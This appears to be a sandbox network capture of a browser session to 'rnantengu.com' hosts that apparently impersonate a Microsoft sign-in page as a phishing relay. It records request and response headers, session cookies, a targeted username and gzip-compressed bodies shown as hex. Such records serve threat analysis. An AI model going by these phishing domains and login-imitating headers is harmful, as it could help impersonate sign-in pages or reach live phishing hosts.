2025-01-15 09:07:07 UTC	782	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 56561 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d4c1726d-f062-4884-9cc1-7ee5e4eb9800 x-ms-ests-server: 2.1.19870.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:07 UTC	15602	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d4 bd 69 77 da c8 d6 30 fa bd 7f 85 cd db d7 48 c7 32 66 f4 00 51 73 3c c6 74 82 9d d8 26 0e a1 79 f2 0a 49 60 c5 20 d9 92 f0 d0 31 ff fd ee a1 4a 2a 31 24 39 c3 73 d7 ba 67 9d 8e a5 52 0d bb 76 ed da 73 15 6f d6 8f 2f 8e ae bb 1f 4e d6 6e e3 c9 f8 8f df de f0 9f b5 37 b7 ae e5 c0 df b5 37 b1 17 8f 5d 7c 5a bb 74 1d 2f 74 ed d8 f3 47 f8 61 3b f9 f2 66 e2 c6 d6 9a 1d f8 b1 eb c7 66 2e 76 9f e3 6d ec a7 b1 66 df 5a 61 e4 c6 e6 34 1e 6e ed e5 60 8c f8 7e cb 7d 98 7a 8f 66 ee 88 ab 6f 5d bf dc bb b9 ed 25 dd b4 4e 4c d7 19 b9 d9 56 9f b7 3a 07 5b 47 c1 e4 de 8a bd c1 78 79 c3 27 cf 89 6f 4d c7 7d f4 6c 77 8b 5e 8c 35 cf f7 62 cf 1a 6f 45 b6 35 76 cd 52 a1 68 ac 4d ac 67 6f 32 9d 88 a2 32 16 4d 23 37 a4 77 0b fa 36 5f dc 28 b7 e6 Data Ascii: iw0H2fQs<t&yI` 1J*1$9sgRvso/Nn77]\|Zt/tGa;ff.vmfZa4n`~}zfo]%NLV:[Gxy'oM}lw^5boE5vRhMgo22M#7w6_(
2025-01-15 09:07:07 UTC	14460	IN	Data Raw: bb b6 07 4c 33 55 41 57 0a 57 91 81 d9 ae a6 36 d3 c5 87 9b 4f ef d0 66 6a 57 89 3f 96 a5 b6 75 86 ac 05 f6 23 b1 26 d8 8b 8a be 81 d2 ec 0c 26 25 3d 2d 68 01 de 20 33 92 d4 9d 3e a4 63 3f 8b b1 6b 3c 36 6e 4c 68 45 07 5e ba 07 1a 18 a9 b1 d6 0d 90 b6 f4 6c cf 5d 4b eb de a9 57 b3 4b 82 3a 6b 4e 3c 0d f6 d8 47 a1 fc a2 1b 13 19 e6 e4 a6 d7 ae 11 23 aa 21 8b 7c d6 f1 13 cc 04 76 15 42 ad 38 9f d0 e2 47 d1 cc 9c 32 99 2a b9 01 1a f8 57 d5 e7 0e 13 85 97 04 39 f6 06 5c 0d d8 2b e1 ad 04 3c d5 20 c5 e4 50 7c 42 95 1f 48 1d 2a 1f 72 1d 62 c1 ba 0e 65 e7 5c 4b 7a b8 b0 9f 43 d4 e4 75 d1 54 62 4f d7 0d d5 82 38 6c 4e 1e 60 6f 91 9e 69 30 6b 5d 49 9a 3b 59 d2 04 92 63 ca dc 59 a1 db 67 2e 14 26 5d 5e d7 a5 7a 72 de 84 87 3a d4 11 aa fc 4e 69 f5 96 d8 9d b7 a4 b4 Data Ascii: L3UAWW6OfjW?u#&&%=-h 3>c?k<6nLhE^l]KWK:kN<G#!\|vB8G2W9\+< P\|BHrbe\KzCuTbO8lN`oi0k]I;YcYg.&]^zr:Ni
2025-01-15 09:07:07 UTC	16384	IN	Data Raw: 79 9f b2 4f ea 31 ad 02 30 9b 09 7c 5b 2a 3d d6 63 30 f6 cd 94 7c fa 41 a7 58 57 98 2c 8b 2c a6 4f 5d e1 de e0 35 e0 6e 28 da e7 a6 1a 6d 8e 67 da 94 30 a0 c6 c8 7b 3d ec ed 64 98 e2 93 b6 1c e9 72 1f 4e c6 aa 55 c3 2c 46 cd f3 c6 41 34 5b 5d a1 ea ef da fa 52 b1 03 08 77 02 55 7c cc a8 a2 6d 98 d0 cd 69 db 8a 5f 37 a0 c9 10 7e aa d9 d0 01 2d 4d 34 5d 62 56 d7 d6 7f ff ab a9 81 d1 fe ce 16 cb 61 27 f7 d9 bd 16 1f 2d a9 d2 9c 81 7f e8 89 18 43 34 ec fe 2f a8 c3 c4 91 ad 8a ca 6b 65 c6 93 54 40 02 66 53 da 0e 74 ee e4 c3 af 27 a2 ad a5 d8 ba b2 ca 7a 06 f9 eb 2f 4c 98 3c 6b c1 ed 1d 87 3f e6 88 b6 96 c8 4b 5b ff 3a 0e ef 73 e2 3a 26 5f 41 a4 96 45 d4 f3 35 a3 fd 16 47 7c f2 23 9c 7c 15 e9 76 9e 5d ed d8 aa c9 d8 8f b3 98 ed 04 84 e0 18 9f ce 19 95 f3 12 47 Data Ascii: yO10\|[*=c0\|AXW,,O]5n(mg0{=drNU,FA4[]RwU\|mi_7~-M4]bVa'-C4/keT@fSt'z/L<k?K[:s:&_AE5G\|#\|v]G
2025-01-15 09:07:07 UTC	10115	IN	Data Raw: 45 01 55 30 02 69 aa e7 5f 30 d6 f3 ba 50 f0 16 fa fe 4b 61 e5 e3 aa f9 f8 17 23 5f f5 c8 c4 26 5f a0 16 64 51 fc 6f cc de 60 82 4e ed 8f a5 e3 1a d0 b6 54 dd ce 85 1b d2 39 d5 e0 b9 4b 84 ee fc 03 8a 2b bd df 3e 99 fd 66 3e c9 24 bd 6c 62 cf 8c 41 47 37 b9 aa a9 36 87 40 13 c6 be bb 84 a3 40 65 98 96 12 63 91 27 e1 f2 14 77 2f 5b dd 03 8d 9c 9f 87 45 3e ce 29 50 8f 3a ac e3 ef a1 22 95 e2 37 ea e9 21 1f df 10 00 9d 63 52 45 31 ba e2 4e 81 22 fc 0c ac f4 4e b1 09 2f a6 ec ed 0a 41 a9 c7 8a 2d 25 4c ef 1c 5b f1 39 ae e6 3f 38 5f a9 4f f1 71 65 6e f8 d8 a4 cf e6 0c 51 16 df 5e 84 14 de 48 ce 53 f2 0b 4a 19 65 a8 9b 22 b1 64 42 cb 8a 15 ec e9 53 cb 14 3c 2f 01 24 9e 69 f2 9e 6d ee be 01 6b 52 ad 94 39 f2 1c 2c d2 d4 c3 44 13 55 e0 7d 1a 06 37 9e b5 4d 4b f2 Data Ascii: EU0i_0PKa#_&_dQo`NT9K+>f>$lbAG76@@ec'w/[E>)P:"7!cRE1N"N/A-%L[9?8_OqenQ^HSJe"dBS</$imkR9,DU}7MK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49862	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:07 UTC	690	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://onlineauthenticationrelayservices.rnantengu.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:07:09 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:09 GMT Content-Type: application/x-javascript Content-Length: 49973 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 12 Dec 2024 21:33:52 GMT etag: 0x8DD1AF4AC8A4BB0 x-ms-request-id: 2cf0f854-301e-0011-5bda-65664f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090709Z-1698bcdb8c7pkcpnhC1BL1xea400000005dg00000000sntw x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:09 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2025-01-15 09:07:09 UTC	14460	IN	Data Raw: 2d 2f 2b db b8 d1 09 18 20 97 46 c7 4c 1c b9 4f 20 eb d4 01 00 cc b2 47 78 27 18 ee 20 6d e0 04 44 47 4e d0 ae 27 ee 06 b7 9c eb 90 bb 3c 70 fc b0 df cb 26 6f a3 74 33 47 33 dd 88 83 93 4a ba 01 89 de da ac b7 f0 49 1a bc bf 84 9e b7 4b 8e 0f 40 b6 e0 26 4b f4 95 e4 63 13 e4 f2 56 49 66 53 ca 2b 2d 36 78 36 c7 ed 3d 78 b1 55 4e e7 38 13 78 f6 0e 69 1c f8 80 67 fd 9e 89 07 a1 ce c1 58 b1 43 84 fa 9b d6 21 37 9c 70 20 33 ef 1c c1 a1 4d 5f 7a 93 44 69 af b4 b9 0e 0f 4b 9a c3 b0 1c 89 5b 9c 5a b7 34 50 8e 20 7e 62 b4 7c 88 78 cb 56 8a 87 0f 85 8b e4 8c bf 7d ec 7d dc fb b8 6b e4 95 2a 9e b7 b8 9b 43 28 3f 95 c6 a1 6d c4 da 1b 70 01 54 e9 ab ac fb ec 85 e7 e9 04 4f a3 92 74 00 22 5d 85 e1 a4 9a 9f 9a 97 61 14 d0 ef 4b d7 09 83 54 d2 be 80 cd 15 1e 72 b9 b5 ff Data Ascii: -/+ FLO Gx' mDGN'<p&ot3G3JIK@&KcVIfS+-6x6=xUN8xigXC!7p 3M_zDiK[Z4P ~b\|xV}}k*C(?mpTOt"]aKTr
2025-01-15 09:07:10 UTC	16384	IN	Data Raw: 4c 95 0a 17 fc 2c 78 07 da 72 e0 23 c3 07 12 7a 9d 27 e2 90 2b dc db 20 54 32 84 73 0e 6a 31 04 c2 a0 b6 8f 00 59 58 31 7a 1f f2 95 d2 61 a9 73 95 c2 f6 8f da 01 c0 84 9a 39 20 41 11 2e 24 57 cd 82 bf cf f8 de df 67 9c 6d a4 b6 c3 21 2d ec e6 22 aa 1b 5f ba 75 67 6d 2c 49 f2 1e 38 e9 6e 6f e7 3e d4 b2 f7 06 c2 8a 89 32 d7 d3 9a 1d d9 43 15 57 b7 f6 b1 cc 79 fc 8f cf 90 0b 01 49 6d 81 9f 79 c5 17 57 27 62 b8 56 f1 84 37 cb 30 dd 70 b2 86 84 23 26 a8 13 89 c2 95 e3 b4 64 fe 2a ca 85 cd e5 26 9f 0f 38 79 aa cd 95 4c 13 d7 0b 0b ce 9e 7b 19 25 43 69 ff fa ef 96 2e bd 24 09 0f 86 1c 0a 0a 7a b4 99 9c 63 54 86 5c be 0a 06 a3 2a dd 4b b6 d8 fb e7 70 f2 1f 2a c7 61 01 c5 46 56 3d ff c6 72 ce 2c 57 80 54 9e b5 20 e5 14 d9 de f3 8b 63 7e 78 e2 b9 92 e3 db de f9 96 Data Ascii: L,xr#z'+ T2sj1YX1zas9 A.$Wgm!-"_ugm,I8no>2CWyImyW'bV70p#&d&8yL{%Ci.$zcT\Kp*aFV=r,WT c~x
2025-01-15 09:07:10 UTC	3551	IN	Data Raw: f9 68 b3 c8 56 ce 06 4e b4 fd e9 bc 3c 15 b0 2b 4e 65 c7 a8 57 7e ce 30 25 87 72 9b 2a dc 28 f3 97 32 13 fc 4c 9b db e6 bf 8b 06 56 51 07 0d ee b8 3b 80 de ac 10 25 e8 6a 7d 2b d3 73 0c aa eb 31 15 24 4e b8 45 83 5a ad a4 65 f5 ed de 9e 6c 2b 69 16 74 60 79 c3 de 37 2b 99 da ca ae 6d 4a c9 55 09 18 14 ce 5f 0e 55 50 46 59 a2 a4 59 f4 5d fa 35 d1 6a 47 0d d7 48 b8 8d d1 ee ee e8 55 31 d2 76 38 81 37 17 3a ea 68 d0 fa 5a 61 81 d5 b2 26 9c 90 ea da db db 47 65 6a 99 8c 94 02 b2 e8 60 d1 cb 41 29 e5 1f a1 3c 53 76 3a 20 ed 42 a2 34 09 75 5f 7f 88 be d9 db 63 c1 91 d6 90 5d 8e fb 5e aa d2 54 d7 3b 66 2b 00 52 c3 4f 46 7a 4c a4 19 1b 35 04 d1 0d 2b 28 33 ff 52 71 eb b1 9f a4 b3 b5 61 de 1d 97 96 c1 48 3e cd 2c 9e fc 1c 3b de 88 1e b4 06 5a 58 40 fb 8e 4f 85 e7 Data Ascii: hVN<+NeW~0%r*(2LVQ;%j}+s1$NEZel+it`y7+mJU_UPFYY]5jGHU1v87:hZa&Gej`A)<Sv: B4u_c]^T;f+ROFzL5+(3RqaH>,;ZX@O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49883	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:10 UTC	710	OUT	GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://onlineauthenticationrelayservices.rnantengu.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg==" Sec-WebSocket-Key: uUjRLeysXU5HrA20ZuF2DA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-15 09:07:12 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 15 Jan 2025 09:07:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 6e31fb7f-2898-4bd6-8bb0-21dc88a13e00 x-ms-ests-server: 2.1.19870.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49882	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:10 UTC	541	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:12 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:12 GMT Content-Type: application/x-javascript Content-Length: 49973 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 12 Dec 2024 21:33:52 GMT etag: 0x8DD1AF4AC8A4BB0 x-ms-request-id: 521f3a4a-001e-0011-76a5-602e5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090712Z-155884f84d47vdddhC1BL1su4c0000000t8000000000rr9g x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:12 UTC	13648	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2025-01-15 09:07:12 UTC	16384	IN	Data Raw: 8b 2c da a6 b6 4a 98 8c 82 7e a0 c5 52 cf f8 2d 94 91 c1 2c 70 91 e8 be e0 a9 58 21 65 60 ab 6c e3 c7 e0 4a eb 53 72 9b 5d 90 b3 79 52 5a db 12 54 69 5d ec 11 9c 07 b7 17 b3 d2 5a b4 fc ef b6 45 5e e0 f8 bd c6 30 d8 6b b5 21 72 03 26 d9 1f 00 4a c9 56 49 df dc ab 54 aa d2 d2 07 73 3c c4 80 34 30 8e ee 35 5e cf 5f 8d b5 8b 00 e4 e8 f8 8e 19 f3 07 80 ca 6b 8a c2 07 df 43 e2 9a 4f 3d 54 ab 59 46 95 57 58 0e cb f5 b6 be b8 4f 60 c6 bf 0a 4d 66 fe 5f 00 86 a9 f8 47 6a fc a1 9a 4a 3f 7b 12 a6 b1 17 f2 da a7 f2 e6 2d c1 15 5a 56 52 cf 5f 2a ff 05 97 c0 f6 59 ab 12 34 6d be 9a 8d 14 37 0e 23 5c 7e c3 25 33 43 7f 03 1d cc 4d ee 10 38 4d b5 8d a5 a4 0c 2a a5 b7 0c 2a 4d ca a0 06 53 2f cb 87 17 29 7a 71 1d 36 53 b8 96 92 b2 f2 fb fc d9 0f f3 4c 4b 53 d7 06 18 df 87 Data Ascii: ,J~R-,pX!e`lJSr]yRZTi]ZE^0k!r&JVITs<405^_kCO=TYFWXO`Mf_GjJ?{-ZVR_Y4m7#\~%3CM8M*MS/)zq6SLKS
2025-01-15 09:07:12 UTC	16384	IN	Data Raw: e1 fc 4c 0b 57 ad 4c 95 0a 17 fc 2c 78 07 da 72 e0 23 c3 07 12 7a 9d 27 e2 90 2b dc db 20 54 32 84 73 0e 6a 31 04 c2 a0 b6 8f 00 59 58 31 7a 1f f2 95 d2 61 a9 73 95 c2 f6 8f da 01 c0 84 9a 39 20 41 11 2e 24 57 cd 82 bf cf f8 de df 67 9c 6d a4 b6 c3 21 2d ec e6 22 aa 1b 5f ba 75 67 6d 2c 49 f2 1e 38 e9 6e 6f e7 3e d4 b2 f7 06 c2 8a 89 32 d7 d3 9a 1d d9 43 15 57 b7 f6 b1 cc 79 fc 8f cf 90 0b 01 49 6d 81 9f 79 c5 17 57 27 62 b8 56 f1 84 37 cb 30 dd 70 b2 86 84 23 26 a8 13 89 c2 95 e3 b4 64 fe 2a ca 85 cd e5 26 9f 0f 38 79 aa cd 95 4c 13 d7 0b 0b ce 9e 7b 19 25 43 69 ff fa ef 96 2e bd 24 09 0f 86 1c 0a 0a 7a b4 99 9c 63 54 86 5c be 0a 06 a3 2a dd 4b b6 d8 fb e7 70 f2 1f 2a c7 61 01 c5 46 56 3d ff c6 72 ce 2c 57 80 54 9e b5 20 e5 14 d9 de f3 8b 63 7e 78 e2 b9 Data Ascii: LWL,xr#z'+ T2sj1YX1zas9 A.$Wgm!-"_ugm,I8no>2CWyImyW'bV70p#&d&8yL{%Ci.$zcT\Kp*aFV=r,WT c~x
2025-01-15 09:07:12 UTC	3557	IN	Data Raw: a0 79 57 3f 6c 5e f9 68 b3 c8 56 ce 06 4e b4 fd e9 bc 3c 15 b0 2b 4e 65 c7 a8 57 7e ce 30 25 87 72 9b 2a dc 28 f3 97 32 13 fc 4c 9b db e6 bf 8b 06 56 51 07 0d ee b8 3b 80 de ac 10 25 e8 6a 7d 2b d3 73 0c aa eb 31 15 24 4e b8 45 83 5a ad a4 65 f5 ed de 9e 6c 2b 69 16 74 60 79 c3 de 37 2b 99 da ca ae 6d 4a c9 55 09 18 14 ce 5f 0e 55 50 46 59 a2 a4 59 f4 5d fa 35 d1 6a 47 0d d7 48 b8 8d d1 ee ee e8 55 31 d2 76 38 81 37 17 3a ea 68 d0 fa 5a 61 81 d5 b2 26 9c 90 ea da db db 47 65 6a 99 8c 94 02 b2 e8 60 d1 cb 41 29 e5 1f a1 3c 53 76 3a 20 ed 42 a2 34 09 75 5f 7f 88 be d9 db 63 c1 91 d6 90 5d 8e fb 5e aa d2 54 d7 3b 66 2b 00 52 c3 4f 46 7a 4c a4 19 1b 35 04 d1 0d 2b 28 33 ff 52 71 eb b1 9f a4 b3 b5 61 de 1d 97 96 c1 48 3e cd 2c 9e fc 1c 3b de 88 1e b4 06 5a 58 Data Ascii: yW?l^hVN<+NeW~0%r*(2LVQ;%j}+s1$NEZel+it`y7+mJU_UPFYY]5jGHU1v87:hZa&Gej`A)<Sv: B4u_c]^T;f+ROFzL5+(3RqaH>,;ZX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49884	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:10 UTC	983	OUT	GET /?vu=5C&username=bdf29f%40eutg.co&sso_reload=true HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-15 09:07:13 UTC	779	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 63995 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: ba430c92-ff3e-426e-8217-44843c350100 x-ms-ests-server: 2.1.19870.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:13 UTC	15605	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd db 76 e2 ca b2 28 f8 3e bf 82 62 cc ed 82 63 41 89 9b 0d a6 b4 bc 30 60 1b db f8 06 be 6f 0f 0f 21 25 20 23 24 2c 09 63 5c 65 de fa 4b fa a1 c7 7e e8 b7 fe 83 f5 63 1d 11 99 ba 61 5c 55 6b cd b9 fa f4 3e 67 ce bd 57 19 a5 32 23 23 23 23 22 23 22 23 53 5f 3f 35 4e ea dd 9b d3 66 62 e8 8d cd bf fd f6 15 ff 24 34 53 75 5d 25 99 4c e8 86 a3 24 4d cf 49 26 4c d5 1a 28 49 66 25 ff f6 5b e2 eb 90 a9 3a fc 4d 7c f5 0c cf 64 f8 2b d1 31 06 56 c2 b0 12 9e 9d 98 db 53 27 a1 6a 9a 3d b5 3c ac f4 25 a8 f5 75 cc 3c 35 a1 d9 96 c7 2c 4f 49 7a ec c5 fb 82 1d 56 13 da 50 75 5c e6 29 53 af 9f 29 27 01 19 6f 92 61 4f 53 e3 59 49 d6 79 f5 4c 77 3e 61 c9 2f 2b c0 b4 9a 0a d3 07 2c de ea 3a 73 51 cb d4 ed f1 44 f5 8c 9e b9 ba e1 cc d0 bd a1 Data Ascii: v(>bcA0`o!% #$,c\eK~ca\Uk>gW2####"#"#S_?5Nfb$4Su]%L$MI&L(If%[:M\|d+1VS'j=<%u<5,OIzVPu\)S)'oaOSYIyLw>a/+,:sQD
2025-01-15 09:07:13 UTC	14460	IN	Data Raw: be 48 13 81 b8 95 fc bf 87 06 0d f6 89 7c ee 1f 80 c6 a8 e0 14 ef 20 ca 26 f9 26 1d ed 64 18 8a 2c 69 40 1f 72 41 f1 e4 e2 b4 9a f6 a3 d4 4a 8e ce c2 d9 4a 7e 0d ab 6c 5b 59 7f f4 fc 89 fa 06 ee 4c e1 f9 42 fe 8a ce 97 91 94 5b 69 49 c6 a3 91 48 45 cc 08 80 4a fe 1b e8 30 87 d3 8b 7c 94 f6 27 a3 ea d2 37 f2 80 0f 64 c9 86 5e 35 e5 8e 77 2b d9 9c b7 ee d3 84 68 fa 9b 06 ce 54 42 de a2 3f b9 2d 5b d1 f8 8e 61 95 0a 8a 5b 7e 8c 3c 4b 3c b1 be 2e 7d a3 e6 5b d8 a9 84 5d 6e 7d ca bd f1 ca a5 ad b0 96 a5 50 05 e8 16 ac 57 d4 fe 86 35 65 bc da e6 96 a6 4c b3 c0 20 d9 89 3d 01 ff 66 9a 45 a6 e1 0f 61 55 71 f5 c3 16 65 b0 da 0a af 24 d1 b0 43 4f c1 be f3 9f 32 40 82 ef df 37 40 89 71 f2 e7 c5 af 74 fa db 14 03 d7 02 2c c6 a1 0a 8a 5f 29 f5 c9 fe fe 1d f1 fc 9b 4d Data Ascii: H\| 